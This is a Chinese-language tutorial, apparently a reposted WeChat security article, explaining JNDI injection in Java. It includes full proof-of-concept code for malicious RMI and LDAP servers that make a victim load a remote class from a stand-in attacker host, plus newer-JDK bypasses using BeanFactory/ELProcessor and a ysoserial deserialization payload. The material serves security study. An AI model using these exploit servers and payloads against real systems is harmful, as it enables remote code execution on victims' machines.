JDNI简介:
JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。
JNDI 支持的服务主要有以下几种:
•
RMI (JAVA远程方法调用)
•
LDAP (轻量级目录访问协议)
•
CORBA (公共对象请求代理体系结构)
•
DNS (域名服务)
前三种都支持远程对象调用
概念解析
Name
Name很好理解,就是命名。将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的Java对象。简单来说,就是把一个Java对象和一个特定的名称关联在一起,方便容器后续使用。
Directory
JNDI中的目录(Directory)是指将一个对象的所有属性信息保存到一个容器环境中。JNDI的目录(Directory)原理与JNDI的命名(Naming)原理非常相似,主要的区别在于目录容器环境中保存的是对象的属性信息,而不是对象本身。举个例子,Name的作用是在容器环境中绑定一个Person对象,而Directory的作用是在容器环境中保存这个Person对象的属性,比如说age=10,name=小明等等。实际上,二者往往是结合在一起使用的
JNDI 可以存储和查找以下几类对象:
1. Java 对象(Serializable)
可以保存 Java 对象,只要它实现了 Serializable 接口。常用于配置或共享对象。
ctx.bind("myObj", myObject); // 绑定对象
MyObject obj = (MyObject) ctx.lookup("myObj"); // 查找对象
2. 数据源(DataSource)
常见于 Web 项目,JNDI 查找数据库连接池。
DataSource ds = (DataSource) ctx.lookup("jdbc/myDB");
3. EJB、JMS 等远程对象
可以查找企业级组件或消息队列连接。
MyService service = (MyService) ctx.lookup("java:global/myService");
4. 字符串、环境变量
也可以存储简单的字符串或配置项。
ctx.bind("env/username", "admin");
String user = (String) ctx.lookup("env/username");
JNDI 就像一个“命名空间的数据库”,你可以存和查:
•
Java 对象
•
数据库连接池
•
远程服务
•
配置信息
JDNI的实际应用
1.
新建一个Web项目,在META-INF目录下新建context.xml文件
<?xml version="1.0" encoding="UTF-8"?>
<Context>
<Resource name="jndi/person"
auth="Container"
type="javax.sql.DataSource"
username="root"
password="root"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/test"
maxTotal="8"
maxIdle="4"/>
</Context>
在Context.xml文件中我们可以定义数据库驱动,url、账号密码等关键信息,其中name这个字段的内容为自定义,后面的时候我们会使用到
2. 在具体的程序中使用配置的数据源
Connection conn=null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用数据源
DataSource ds=(Datasource)datasourceRef;
conn=ds.getConnection();
String sql = "select * from person where id = ?";
ps = conn.prepareStatement(sql);
ps.setString(1, "1");
rs = ps.executeQuery();
while(rs.next()){
System.out.println("person name is "+rs.getString("name"));
}
c.close();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(conn!=null) {
try {
conn.close();
} catch(SQLException e) { }
}
}
参考☞:https://www.jianshu.com/p/1c4c4b5d7acf
注入原理
在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
RMI攻击实现
影响版本
JDK <= 8u121
在8u121之后com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的默认值变为false,就不能再利用了
先看下JNDI—RMI的结合使用
构造一个恶意的Java类:
package org.example;
import java.io.IOException;
public class Exploit {
public Exploit() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
编译并部署这个类在 HTTP 服务器上,例如:http://attacker.com/Exploit.class
javac Exploit.java
python3 -m http.server 8000 # 或使用 nginx 等
恶意 RMI 注册服务(EvilRmiServer.java)():
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class EvilRmiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
System.setProperty("java.rmi.server.hostname", "127.0.0.1"); // 设置主机 IP
Registry registry = LocateRegistry.createRegistry(1099); //注册RMI中心
System.out.println("RMI Registry started on port 1099");
Reference ref = new Reference("Exploit", "Exploit", "http://127.0.0.1:8000/Exploit.class"); //设置转发接口
ReferenceWrapper refObj = new ReferenceWrapper(ref);
registry.bind("#Object", refObj); //绑定一个name
System.out.println("Malicious Reference bound to 'Object'");
}
}
•
RMI 注册一个 Reference 对象,指向远程 http://attacker.com/Exploit.class
•
当客户端 JNDI 查询时,JVM 会加载 Exploit 类 ⇒ 触发静态块代码执行
模拟目标受害者代码(Victim.java):
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
public class Victim {
public static void main(String[] args) throws Exception {
String jndiURL = "rmi://127.0.0.1:1099/#Object"; // 指向恶意 RMI 服务
Context context = new InitialContext();
context.lookup(jndiURL); // 触发远程类加载 + 静态代码执行
}
}
流程分析
有调用了lookup,继续跟进,发现var3调用了Lookup,而var3是RegistryContext (RegistryContext 是 JNDI 中用于 RMI 协议的上下文实现类) ,所有这个lookup打的是RMI协议下的Lookup这也就是为啥RMI可以打Jndi注入
并实例化了一个引用包装器ReferenceWrapper准备处理远程传递过来的Reference
decodeObject是RMI协议的核心逻辑
•
如果 RMI Registry 返回了一个 javax.naming.Reference 对象
•
JNDI 会调用 NamingManager.getObjectInstance(...) 来根据引用“构造”对象
NamingManager.getObjectInstance() 调用链
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment)
throws NamingException {
// 省略若干判断
Reference ref = (Reference) refInfo;
String factoryClassName = ref.getFactoryClassName(); // "Exploit"
String codebase = ref.getFactoryClassLocation(); // e.g. "http://attacker.com/"
// 默认行为(在旧版本 JDK 中)
Class<?> factoryClass = loadClass(factoryClassName, codebase); // 加载远程类
ObjectFactory factory = (ObjectFactory) factoryClass.newInstance();
return factory.getObjectInstance(ref, name, nameCtx, environment); // 实际生成对象
}
阶段 | 动作 | 可被攻击者控制的内容 |
lookup() | 从 RMI Registry 获取远程对象 | 是:攻击者搭建恶意 RMI Server |
decodeObject() | 检查对象类型为 Reference | 是:攻击者返回 Reference 对象 |
getObjectInstance() | 动态加载 Exploit.class 并调用构造方法 | 是:攻击者可控 codebase 和 className |
Exploit.class | 在静态块或构造函数中执行恶意代码 | 是:攻击者制作恶意 .class 文件 |
客户端调用链:
InitialContext#lookup
GenericURLContext#lookup
RegistryContext#lookup
RegistryContext#decodeObject
NamingManager#getObjectInstance
NamingManager#getObjectFactoryFromReference
*关键实例化类 return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
LDAP攻击实现
使用marshalsec构建ldap服务,服务端监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389
开启本地服务
python -m http.server 8000
直接发起请求即可
String jndiURL = "ldap://127.0.0.1:1389/#Object"; // 指向恶意 RMI 服务
Context context = new InitialContext();
context.lookup(jndiURL); // 触发远程类加载 + 静态代码执行
流程分析
和RMI一致调用多个lookup最后走到var3下的,之后又进入了p_lookup()
之后又调用了c_lookup()
跟进c_lookup(),在里面我们可以看见设置豪的LDAP值
属性名 | 含义 |
javaClassName | 告诉 JNDI 这个对象应该是什么类 |
javaCodeBase | 类的代码来源(一个 HTTP/FTP/RMI 地址) |
javaFactory | 指定一个类名,用于生成实际对象(JNDI 会加载这个类并调用其工厂方法) |
然后调用下面的decodeObject(),其中参数的值就是我们传入的LDAP的值
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
由于var1等于url,且传递的JAVA_OBJECT_CLASSES[2] 为javaNamingReference ,JAVA_OBJECT_CLASSES_LOWER[2] 为 javanamingreference 所以会进入decodeReference(var0, var2) 的逻辑。(JAVA_ATTRIBUTES的索引值在下方,处若我们传入的是序列化数据则会执行if下方的语句进行反序列化(后边高版本绕过会用到留个印象)
decodeReference()是一些赋值操作,执行完后回到decodeObject()中,最后decodeObject()执行完之后回到了c_lookup()这里var3此时的值为
接着往下走最终调用了DirectoryManager的getObjectInstance,而RMI调用的则是NamingManager的getObjectInstance
关键点还是:
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
客户端调用链:
InitialContext#lookup
ldapURLContext#lookup
GenericURLContext#lookup
PartialCompositeContext#lookup
ComponentContext#p_lookup
LdapCtx#c_lookup
*高版本绕过的关键Obj#decodeObject
DirectoryManager#getObjectInstance
DirectoryManager#getObjectFactoryFromReference
*实例化关键 return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
高版本绕过:
RMI:
从 JDK 8u191 开始,Sun/Oracle 禁用了从远程 URL 加载类的行为,防止 RCE 攻击(如 JNDI 注入)。你现在运行的 Java 应该是这个版本之后的,所以默认:
•
com.sun.jndi.rmi.object.trustURLCodebase = false
也可以从下面代码看出默认false会导致走入丢出异常而不会真正的加载class进行实例化
绕过我们就不走远程拉取工厂类进行实例化了,我们直接利用本地的工厂类进行利用,例如:
BeanFactory类
POC:
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class EvilRmiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "Sentiment=eval"));
resourceRef.add(new StringRefAddr("Sentiment", "Runtime.getRuntime().exec("calc")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Exec", referenceWrapper);
System.out.println("the Server is bind rmi://127.0.0.1:1099/Exec");
}
}
分析:
调用链:
InitialContext#lookup
GenericURLContext#lookup
RegistryContext#lookup
RegistryContext#decodeObject
NamingManager#getObjectInstance
NamingManager#getObjectFactoryFromReference
BeanFactory#getObjectInstance(本地的加载工厂类)
LDAP:
从 JDK 8u191 开始,Sun/Oracle 禁用了从远程 URL 加载类的行为,防止 RCE 攻击(如 JNDI 注入)。你现在运行的 Java 应该是这个版本之后的,所以默认:
•
com.sun.jndi.rmi.object.trustURLCodebase = false
也可以从下面代码看出默认false会导致走入丢出异常而不会真正的加载class进行实例化,本地 源码直接贴代码吧
// com.sun.jndi.ldap.Obj
static Object decodeObject(Object obj, Attributes attrs) throws NamingException {
if (obj instanceof Reference) {
Reference ref = (Reference) obj;
String codebase = getCodebase(attrs); // 来自 LDAP 属性 javaCodebase
// ✅ 检查 trustURLCodebase
if (codebase != null && !trustURLCodebase()) {
throw new ConfigurationException(
"The object factory is untrusted. " +
"Set the system property 'com.sun.jndi.ldap.object.trustURLCodebase' to 'true'.");
}
return NamingManager.getObjectInstance(ref, ...);
}
...
}
刚刚在LDAP分析流程的时候其实发现了字段下有个javaSerializedData
•
直接对其进行 反序列化 ⇒ 加载为 Java 对象。
这里以打cc1为例,需要Commons-Collections-3.1依赖
java -jar ysoserial.jar CommonsCollections1 "calc" > 1.txt
python起服务端:
python -m http.server 8000
POC:
package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;
public class Ldapserver {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:7777/#Exec";
int port = 1099;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//低版本JDK
/* e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());*/
//高版本JDK
e.addAttribute("javaSerializedData", Base64.getDecoder().decode("生成的反序列化base64"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
原文始发于微信公众号(T3Ysec):浅谈JDNI注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论